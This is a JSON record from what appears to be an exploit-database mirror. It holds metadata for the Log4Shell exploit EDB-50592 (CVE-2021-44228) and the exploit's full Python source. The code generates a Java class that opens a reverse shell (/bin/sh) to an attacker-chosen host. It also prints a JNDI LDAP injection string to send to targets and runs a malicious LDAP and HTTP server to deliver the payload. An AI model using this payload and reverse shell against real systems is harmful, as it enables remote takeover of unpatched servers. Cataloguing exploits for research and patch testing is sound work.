{"exploit":{"id":"EDB-50592","name":"Apache Log4j 2 - 'Log4Shell' Remote Code Execution (RCE)","description":"Apache Log4j 2 - 'Log4Shell' Remote Code Execution (RCE)","cves":["CVE-2021-44228"],"author":"kozmer","published":"2021-12-14","platform":"java","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50592","path":"exploits/java/remote/50592.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50592.py","vulnerabilities":[{"id":"CVE-2021-44228","state":"PUBLISHED","title":"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints","titleSource":"CVE Program","description":"Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-44228","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-44228"},"updatedAt":"2025-10-21T23:25:23.121Z","retrievedAt":"2026-11-26T16:21:04.025Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50592.png?v=2","url":"https://exploitbin.com/exploits/EDB-50592","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50592/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50592/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)\n# Date: 11/12/2021\n# Exploit Authors: kozmer, z9fr, svmorris\n# Vendor Homepage: https://logging.apache.org/log4j/2.x/\n# Software Link: https://github.com/apache/logging-log4j2\n# Version: versions 2.0-beta-9 and 2.14.1.\n# Tested on: Linux\n# CVE: CVE-2021-44228\n# Github repo: https://github.com/kozmer/log4j-shell-poc\n\nimport subprocess\nimport sys\nimport argparse\nfrom colorama import Fore, init\nimport subprocess\nimport threading\n\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\n\ninit(autoreset=True)\n\ndef listToString(s):\nstr1 = \"\"\ntry:\nfor ele in s:\nstr1 += ele\nreturn str1\nexcept Exception as ex:\nparser.print_help()\nsys.exit()\n\ndef payload(userip , webport , lport):\n\ngenExploit = (\n\"\"\"\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class Exploit {\n\npublic Exploit() throws Exception {\nString host=\"%s\";\nint port=%s;\nString cmd=\"/bin/sh\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();\nSocket s=new Socket(host,port);\nInputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nOutputStream po=p.getOutputStream(),so=s.getOutputStream();\nwhile(!s.isClosed()) {\nwhile(pi.available()>0)\nso.write(pi.read());\nwhile(pe.available()>0)\nso.write(pe.read());\nwhile(si.available()>0)\npo.write(si.read());\nso.flush();\npo.flush();\nThread.sleep(50);\ntry {\np.exitValue();\nbreak;\n}\ncatch (Exception e){\n}\n};\np.destroy();\ns.close();\n}\n}\n\"\"\") % (userip, lport)\n\n# writing the exploit to Exploit.java file\n\ntry:\nf = open(\"Exploit.java\", \"w\")\nf.write(genExploit)\nf.close()\nprint(Fore.GREEN + '[+] Exploit java class created success')\n\nexcept Exception as e:\nprint(Fore.RED + f'[-] Something went wrong {e.toString()}')\n\ncheckJavaAvailible()\nprint(Fore.GREEN + '[+] Setting up fake LDAP server\\n')\n\n# create the LDAP server on new thread\nt1 = threading.Thread(target=createLdapServer, args=(userip,webport))\nt1.start()\n\n# start the web server\n\nhttpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler)\nhttpd.serve_forever()\n\ndef checkJavaAvailible():\njavaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)\nif(javaver != 0):\nprint(Fore.RED + '[-] Java is not installed inside the repository ')\nsys.exit()\n\ndef createLdapServer(userip, lport):\nsendme = (\"${jndi:ldap://%s:1389/a}\") % (userip)\nprint(Fore.GREEN +\"[+] Send me: \"+sendme+\"\\n\")\n\nsubprocess.run([\"./jdk1.8.0_20/bin/javac\", \"Exploit.java\"])\n\nurl = \"\nhttp://{}:{}/#Exploit\".format\n(userip, lport)\nsubprocess.run([\"./jdk1.8.0_20/bin/java\", \"-cp\",\n\"target/marshalsec-0.0.3-SNAPSHOT-all.jar\", \"marshalsec.jndi.LDAPRefServer\", url])\n\ndef header():\nprint(Fore.BLUE+\"\"\"\n[!] CVE: CVE-2021-44228\n[!] Github repo:\nhttps://github.com/kozmer/log4j-shell-poc\n\"\"\")\n\nif __name__ == \"__main__\":\nheader()\n\ntry:\nparser = argparse.ArgumentParser(description='please enter the values ')\n\nparser.add_argument('--userip', metavar='userip', type=str,\nnargs='+', help='Enter IP for LDAPRefServer & Shell')\n\nparser.add_argument('--webport', metavar='webport', type=str,\nnargs='+', help='listener port for HTTP port')\n\nparser.add_argument('--lport', metavar='lport', type=str,\nnargs='+', help='Netcat Port')\n\nargs = parser.parse_args()\n\n#print(args.userip)\n\npayload(listToString(args.userip), listToString(args.webport), listToString(args.lport))\n\nexcept KeyboardInterrupt:\nprint(Fore.RED + \"user interupted the program.\")\nsys.exit(0)","sha256":"e57bd370541e32272ee20baf4e289e87ccd5f4b461803cefe7fb861f9683c6d3","bytes":3519,"fetchedAt":"2026-11-25T10:17:06.077Z","encoding":"utf-8 (display only; download retains original bytes)"}